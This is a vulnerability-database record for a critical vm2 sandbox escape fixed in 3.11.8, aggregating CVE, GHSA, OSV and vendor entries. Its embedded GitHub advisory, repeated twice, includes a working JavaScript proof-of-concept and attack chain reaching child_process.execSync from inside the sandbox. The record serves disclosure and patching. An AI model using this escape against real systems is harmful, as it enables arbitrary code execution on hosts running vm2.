{"id":"CVE-2026-92934","aliases":["CLSA-2026-1791279062","CLSA-2026-1791387024","CLSA-2026-1791453761","EUVD-2026-81584","GHSA-4xmw-hh9q-4q7c","GHSA-r273-hxvj-fxhp","GHSA-x965-fc75-jpqh","ROOT-APP-NPM-CVE-2026-92934"],"status":"published","title":"vm2 before 3.11.8 Sandbox Escape RCE via AggregateError","description":"vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.","severity":{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00762,"percentile":0.5566,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-693"],"published":"2026-09-17T13:46:00Z","modified":"2026-10-28T02:30:27Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.8"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.11.6-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.11.6-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.7"},{"fixed":"3.11.8"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.7-tuxcare.0"},{"fixed":"3.11.7-tuxcare.1"}]}],"versions":["3.11.7"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.5-tuxcare.0"},{"fixed":"3.11.5-tuxcare.6"}]}],"versions":["3.11.5","3.11.5-tuxcare.1","3.11.5-tuxcare.2","3.11.5-tuxcare.3","3.11.5-tuxcare.4","3.11.5-tuxcare.5"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.5"}]}],"versions":["3.10.0","3.10.0-tuxcare.1","3.10.0-tuxcare.2","3.10.0-tuxcare.3","3.10.0-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.6-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.6-root.io.1"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-x965-fc75-jpqh","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-rce-via-aggregateerror","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92934","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4xmw-hh9q-4q7c"},{"url":"https://github.com/patriksimek/vm2/commit/c8c232530b860cfecf6f94bc8d0d0890aa381460","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.8","tags":["web"]},{"url":"https://github.com/advisories/GHSA-x965-fc75-jpqh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92934.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-92934","title":"vm2 before 3.11.8 Sandbox Escape RCE via AggregateError","description":"vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.","status":"published","published":"2026-09-17T13:46:00.13Z","modified":"2026-09-17T14:27:25.575Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T13:48:24.536396Z"}],"euvd":[{"id":"EUVD-2026-81584","description":"vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.","status":"published","published":"2026-09-17T13:46:00Z","modified":"2026-09-17T14:27:25Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T17:28:12.076337Z"}],"ghsa":[{"id":"GHSA-4xmw-hh9q-4q7c","title":"Duplicate Advisory: vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x965-fc75-jpqh. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.","status":"withdrawn","published":"2026-09-17T15:32:14Z","modified":"2026-10-05T22:37:54Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:41:25.889593Z"},{"id":"GHSA-x965-fc75-jpqh","title":"vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit","description":"## Summary\nvm2 `3.11.6` (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the \"sanitized\" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.\n\n## Root Cause\n`handleException` (`lib/setup-sandbox.js`) breaks recursion cycles at line 1819 with `if (apply(localWeakMapGet, visited, [e])) return e;` — returning the RAW host carrier on revisit. For plain-`Error` carriers this is safe because `sanitizeErrorCause`/`sanitizeHostOwnProps` seal the host object **in place** on first visit. But `sanitizeAggregateError` (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh `LocalAggregateError` and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via `sanitizedArr[sanitizedArr.length] = handleException(item, visited)` (line 1965) into the \"sanitized\" `errors[]`.\n\n## Impact\nFull host RCE (`child_process.execSync`) and host info disclosure (`process.env`, `.pid`) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.\n\n## Proof of Concept\n```js\nconst {VM} = require('vm2');\nconst vm = new VM({ sandbox: { hostThrow(){\n  const shared = new AggregateError([], 'shared');\n  shared.leak = process;                                  // incidental host ref\n  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice\n}}});\nconsole.log(vm.run(`\n  try { hostThrow(); } catch (e) {\n    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();\n  }`));                                                   // -\u003e uid=1000(...) host RCE\n```\nConfirmed vectors (all return real `id` output): AggregateError self-cycle (`agg.errors=[agg]; agg.leak=process`), duplicate-in-array (`[shared,shared]`), mutual-cycle (`a.errors=[b]; b.errors=[a]`), and nested mutual/duplicated host sub-AggregateError.\n\n## Attack Chain\n1. **Entry** — embedder exposes a host function the sandbox invokes; it throws a host-wrapped `AggregateError` carrying a host reference in a rebuild-surviving slot plus a revisit trigger (`agg.errors=[agg]; agg.leak=process`). *Guard:* none at entry (throwing from an exposed host fn is normal). *Bypass proof:* same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, `docs/ATTACKS.md` Category 38), accepted in scope.\n2. **Caught-exception sanitizer** — sandbox `try{hostThrow()}catch(e){…}`; transformer routes `e` through `handleException`. *Guard:* Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). *Bypass proof:* `handleException(agg)` marks `agg` visited (1820); proto-walk routes to `sanitizeAggregateError` (1865); host-wrapped branch reads `agg.errors` and calls `handleException(agg, visited)` on element 0 (1965); that inner call hits `visited.get(agg)===true` → `return e` (1819) → raw `agg` proxy pushed into `sanitizedArr` → becomes `newAgg.errors[0]`. The rebuild does NOT seal `agg` in place, so the returned proxy is fully live.\n3. **Sink** — `e.errors[0].leak.mainModule.require('child_process').execSync('id')`. *Guard:* bridge `get` wraps host values. *Bypass proof:* the wrap is functional, not capability-restricting; instrumented trace shows `e.errors[0].isProxy===true` yet the chain executes and returns real `uid=1000(ubuntu)...`.\n4. **Impact** — host RCE with host privileges; also `process.env`/`.pid` disclosure.\n\n## Bypass Evidence\nExecuted on node v22.23, vm2 `3.11.6`:\n- Baseline vector `throw new Error('x',{cause:process})` (plain Error `.cause`) → BLOCKED\n- Plain Error own-prop `e.leak=process` (non-cyclic) → BLOCKED\n- Non-cyclic host `AggregateError` w/ own-prop or single host sub-error leak → BLOCKED\n- **AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (`uid=1000(ubuntu)…`)**\n\nEvery non-cyclic shape and the exact baseline `cause` vector are blocked; only the revisited host `AggregateError` leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: `outerLeakType=\"undefined\"` (outer rebuilt safe), `isErrors0Proxy=true` (element 0 is a live host proxy), `rce=uid=1000(ubuntu)…`.\n\n## Affected Versions\n`\u003c= 3.11.6`. The bug exists from the sanitization fix (`7e3faaf`, tag `3.11.6`) onward — an incomplete-fix bypass exists only where the fix exists. `git diff 3.11.6 HEAD -- lib/setup-sandbox.js` is empty (HEAD identical).\n\n## Scope Note\nThis advisory covers the **AggregateError** family only. A `SuppressedError` variant does NOT reproduce (`se.error` returns undefined; RCE blocked) and is excluded.\n\n## Suggested Fix\nOn the cycle short-circuit (line 1819), return the memoized sandbox-realm *replacement* (keyed in `visited`) rather than the raw carrier; OR seal host-wrapped `AggregateError`/`SuppressedError` carriers in place *before* recursing into sub-errors, mirroring the plain-carrier `sanitizeHostOwnProps` invariant.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","status":"published","published":"2026-10-05T22:38:04Z","modified":"2026-10-05T22:38:05Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"},{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:41:25.889593Z"}],"nvd":[{"id":"CVE-2026-92934","description":"vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.","status":"published","published":"2026-09-17T14:17:57.513Z","modified":"2026-09-17T15:17:00.52Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:12:49.013904Z"}],"osv":[{"id":"CVE-2026-92934","title":"vm2 before 3.11.8 Sandbox Escape RCE via AggregateError","description":"vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.","status":"published","published":"2026-09-17T13:46:00.13Z","modified":"2026-10-28T02:30:27.26831215Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:45:20.588039Z"},{"id":"GHSA-4xmw-hh9q-4q7c","title":"Duplicate Advisory: vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x965-fc75-jpqh. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.","status":"withdrawn","published":"2026-09-17T15:32:14Z","modified":"2026-10-05T22:45:04.556434746Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:46:37.528068Z"},{"id":"GHSA-x965-fc75-jpqh","title":"vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit","description":"## Summary\nvm2 `3.11.6` (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the \"sanitized\" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.\n\n## Root Cause\n`handleException` (`lib/setup-sandbox.js`) breaks recursion cycles at line 1819 with `if (apply(localWeakMapGet, visited, [e])) return e;` — returning the RAW host carrier on revisit. For plain-`Error` carriers this is safe because `sanitizeErrorCause`/`sanitizeHostOwnProps` seal the host object **in place** on first visit. But `sanitizeAggregateError` (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh `LocalAggregateError` and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via `sanitizedArr[sanitizedArr.length] = handleException(item, visited)` (line 1965) into the \"sanitized\" `errors[]`.\n\n## Impact\nFull host RCE (`child_process.execSync`) and host info disclosure (`process.env`, `.pid`) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.\n\n## Proof of Concept\n```js\nconst {VM} = require('vm2');\nconst vm = new VM({ sandbox: { hostThrow(){\n  const shared = new AggregateError([], 'shared');\n  shared.leak = process;                                  // incidental host ref\n  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice\n}}});\nconsole.log(vm.run(`\n  try { hostThrow(); } catch (e) {\n    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();\n  }`));                                                   // -\u003e uid=1000(...) host RCE\n```\nConfirmed vectors (all return real `id` output): AggregateError self-cycle (`agg.errors=[agg]; agg.leak=process`), duplicate-in-array (`[shared,shared]`), mutual-cycle (`a.errors=[b]; b.errors=[a]`), and nested mutual/duplicated host sub-AggregateError.\n\n## Attack Chain\n1. **Entry** — embedder exposes a host function the sandbox invokes; it throws a host-wrapped `AggregateError` carrying a host reference in a rebuild-surviving slot plus a revisit trigger (`agg.errors=[agg]; agg.leak=process`). *Guard:* none at entry (throwing from an exposed host fn is normal). *Bypass proof:* same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, `docs/ATTACKS.md` Category 38), accepted in scope.\n2. **Caught-exception sanitizer** — sandbox `try{hostThrow()}catch(e){…}`; transformer routes `e` through `handleException`. *Guard:* Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). *Bypass proof:* `handleException(agg)` marks `agg` visited (1820); proto-walk routes to `sanitizeAggregateError` (1865); host-wrapped branch reads `agg.errors` and calls `handleException(agg, visited)` on element 0 (1965); that inner call hits `visited.get(agg)===true` → `return e` (1819) → raw `agg` proxy pushed into `sanitizedArr` → becomes `newAgg.errors[0]`. The rebuild does NOT seal `agg` in place, so the returned proxy is fully live.\n3. **Sink** — `e.errors[0].leak.mainModule.require('child_process').execSync('id')`. *Guard:* bridge `get` wraps host values. *Bypass proof:* the wrap is functional, not capability-restricting; instrumented trace shows `e.errors[0].isProxy===true` yet the chain executes and returns real `uid=1000(ubuntu)...`.\n4. **Impact** — host RCE with host privileges; also `process.env`/`.pid` disclosure.\n\n## Bypass Evidence\nExecuted on node v22.23, vm2 `3.11.6`:\n- Baseline vector `throw new Error('x',{cause:process})` (plain Error `.cause`) → BLOCKED\n- Plain Error own-prop `e.leak=process` (non-cyclic) → BLOCKED\n- Non-cyclic host `AggregateError` w/ own-prop or single host sub-error leak → BLOCKED\n- **AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (`uid=1000(ubuntu)…`)**\n\nEvery non-cyclic shape and the exact baseline `cause` vector are blocked; only the revisited host `AggregateError` leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: `outerLeakType=\"undefined\"` (outer rebuilt safe), `isErrors0Proxy=true` (element 0 is a live host proxy), `rce=uid=1000(ubuntu)…`.\n\n## Affected Versions\n`\u003c= 3.11.6`. The bug exists from the sanitization fix (`7e3faaf`, tag `3.11.6`) onward — an incomplete-fix bypass exists only where the fix exists. `git diff 3.11.6 HEAD -- lib/setup-sandbox.js` is empty (HEAD identical).\n\n## Scope Note\nThis advisory covers the **AggregateError** family only. A `SuppressedError` variant does NOT reproduce (`se.error` returns undefined; RCE blocked) and is excluded.\n\n## Suggested Fix\nOn the cycle short-circuit (line 1819), return the memoized sandbox-realm *replacement* (keyed in `visited`) rather than the raw carrier; OR seal host-wrapped `AggregateError`/`SuppressedError` carriers in place *before* recursing into sub-errors, mirroring the plain-carrier `sanitizeHostOwnProps` invariant.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","status":"published","published":"2026-10-05T22:38:04Z","modified":"2026-10-05T22:45:06.534779105Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:46:59.835583Z"},{"id":"CLSA-2026-1791279062","title":"TuxCare security update for vm2 (8 CVEs)","description":"TuxCare rebuilt vm2 to address 8 CVEs. Fixed in 3.11.7-tuxcare.1.","status":"published","published":"2026-10-06T09:31:02Z","modified":"2026-10-15T09:47:35.533296933Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791387024","title":"TuxCare security update for vm2 (4 CVEs)","description":"TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.11.5-tuxcare.6.","status":"published","published":"2026-10-07T15:30:24Z","modified":"2026-10-15T09:47:39.699745891Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791453761","title":"TuxCare security update for vm2 (4 CVEs)","description":"TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.10.0-tuxcare.5.","status":"published","published":"2026-10-08T10:02:41Z","modified":"2026-10-15T09:47:58.301219782Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"ROOT-APP-NPM-CVE-2026-92934","title":"CVE-2026-92934 in vm2 - Patched by Root","description":"Root has patched CVE-2026-92934 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T07:16:29Z","modified":"2026-10-19T08:15:05.417892184Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}